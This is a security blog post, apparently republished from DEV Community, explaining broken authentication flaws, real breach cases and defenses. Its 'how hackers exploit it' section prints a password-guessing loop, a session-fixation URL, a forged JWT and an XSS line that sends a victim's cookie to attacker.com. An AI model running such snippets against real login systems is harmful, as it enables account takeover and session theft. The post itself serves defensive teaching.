The Password Graveyard

April 20, 2025

This content originally appeared on DEV Community and was authored by YuvaSec

Introduction

“What if a hacker could access your entire digital life… with just one stolen cookie?”

Sounds like sci-fi? Unfortunately, it’s not.

Welcome to the world of Broken Authentication—a critical vulnerability where faulty login mechanisms, poor session handling, and weak token management give attackers the keys to the kingdom. Whether you’re a developer, sysadmin, or cybersecurity enthusiast, understanding this vulnerability is essential in 2025, as breaches like those at Ticketmaster, Uber, and Colonial Pipeline have shown just how real the threat is.

In this guide, we’ll break down how authentication failures occur, real-world attacks, how hackers exploit these flaws step-by-step, and what you can do to build secure, resilient authentication systems. Let’s dive into the cracks of the digital gatekeeper.

Understanding Broken Authentication

What Is It, Really?

Broken Authentication refers to design or implementation flaws in how a system confirms a user’s identity and manages sessions. Common culprits:

Weak password policies
Insecure session IDs
Poor token management
Missing or weak MFA

It was formerly ranked #2 in the OWASP Top 10 (now called “Identification and Authentication Failures”) and remains the #2 risk in API security.

Why It Matters More Than Ever

Consequences of a breach:

Account takeover
Financial fraud
Identity theft
Data breaches
Regulatory fines (GDPR, HIPAA)

Compromising just one admin account is enough to devastate an organization.

Common Vulnerabilities Behind Broken Authentication

1. Weak Credentials and Storage

Vulnerable Practices

Allowing passwords like 123456, admin, or qwerty
Storing passwords in plaintext or using MD5/SHA1
Skipping salting or peppering hashes

Code Snippet

# Insecure: storing password in cookie
resp.set_cookie("password", password)

Recommended Fixes

Enforce long passphrases (≥12 chars)
Use Argon2id or bcrypt for hashing
Add salts + site-wide pepper

2. Session Management Gone Wrong

Flaws

Predictable session IDs (e.g., user_123)
Session fixation (attacker sets session ID)
Session hijacking (via XSS, sniffing)
Long-lived sessions without timeout

Code Snippet (Insecure Session ID)

sessionIdCounter++; // Predictable!
return `user_${sessionIdCounter}`;

Secure Practices

Regenerate session ID on login
Set timeouts (15–30 min idle)
Set cookies with HttpOnly, Secure, SameSite=Strict

3. JWT Misuse & Token Manipulation

Major Pitfalls

Accepting JWTs without validating signatures
Allowing alg: none
Using weak HMAC secrets
Token replay due to lack of revocation

Exploit Example

{
  "alg": "HS256",
  "payload": { "role": "admin" }
}

Attacker re-signs this with server’s public key (Algorithm Confusion Attack).

4.Poor or Missing Multi-Factor Authentication (MFA)

Real-World Issues

Relying on SMS OTPs (prone to SIM swaps)
MFA fatigue (spamming push prompts)
No MFA for sensitive accounts

Best MFA Options

FIDO2/WebAuthn (phishing-resistant)
Hardware tokens (YubiKey)
Biometrics (with fallback)

Case Studies: When Authentication Fails

Ticketmaster, Dell, Roku (2024)

Vector: Credential stuffing using leaked passwords

Impact: Millions of user records, fraud, reputational damage

Lesson: MFA + bot detection + breach password checks are essential

Uber & Cisco (2022)

Vector: MFA prompt bombing + social engineering

Impact: Lateral movement, ransomware deployment

Lesson: Push-based MFA is not enough—go phishing-resistant

Colonial Pipeline (2021)

Vector: Single compromised VPN password

Impact: Fuel shortages, $4.4M ransom paid

Lesson: Enforce MFA on all remote access points

How Hackers Exploit It: 5 Step-by-Step Scenarios

1. Dictionary Attack

# Try passwords from a wordlist
for password in open('common.txt'):
    requests.post(url, data={'user': 'admin', 'pass': password})

2. Credential Stuffing

Use breached creds like:

username: reused@email.com
password: Summer2023!

3. Session Hijacking via XSS

var i = new Image();
i.src = "http://attacker.com/log?c=" + document.cookie;

4. Session Fixation

https://victim.com/login?SID=attacker123

5. JWT Algorithm Confusion

{
  "alg": "HS256",
  "role": "admin"
}

How to Defend: Best Practices

Use Argon2id, bcrypt, and strong salting
Screen passwords against breach lists
Enforce phishing-resistant MFA (WebAuthn)
Regenerate session ID on login
Validate JWT signatures and algorithms
Apply rate limiting and CAPTCHA
Secure account recovery (no KBA)

Conclusion: Identity is the New Perimeter

Broken Authentication isn’t just a vulnerability—it’s the most direct route to full system compromise. From outdated session handling to weak MFA implementations, attackers are constantly evolving—and so should our defenses.

Here’s your action plan:

Review your login flows now.
Patch your token validation.
Push for phishing-resistant MFA.
Educate your users and dev teams.

If attackers only need one flaw to win, you need zero.

Secure your identities. Secure your systems. Because one leak can sink the ship.